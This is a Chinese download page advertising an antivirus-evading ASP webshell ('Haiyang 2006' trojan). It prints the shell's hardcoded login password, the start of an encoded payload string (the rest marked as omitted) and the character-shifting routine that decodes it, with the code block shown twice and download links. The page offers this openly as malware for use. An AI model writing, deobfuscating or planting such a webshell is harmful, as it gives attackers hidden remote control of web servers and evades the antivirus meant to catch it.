提供个 全免杀海洋2006asp木马 下载
(编辑:jimmy 日期: 2024/11/16 浏览:3 次 )
<%
Const userPassword = "testit" ''登录密码
hu="琳琳5(63216(P:5,7(BD^2省略很多
function UnEncode(temp)
but=34
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
%>
本地下载
Const userPassword = "testit" ''登录密码
hu="琳琳5(63216(P:5,7(BD^2省略很多
function UnEncode(temp)
but=34
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
%>
本地下载
下一篇:ASP里面令人震撼地Debug类(VBScript)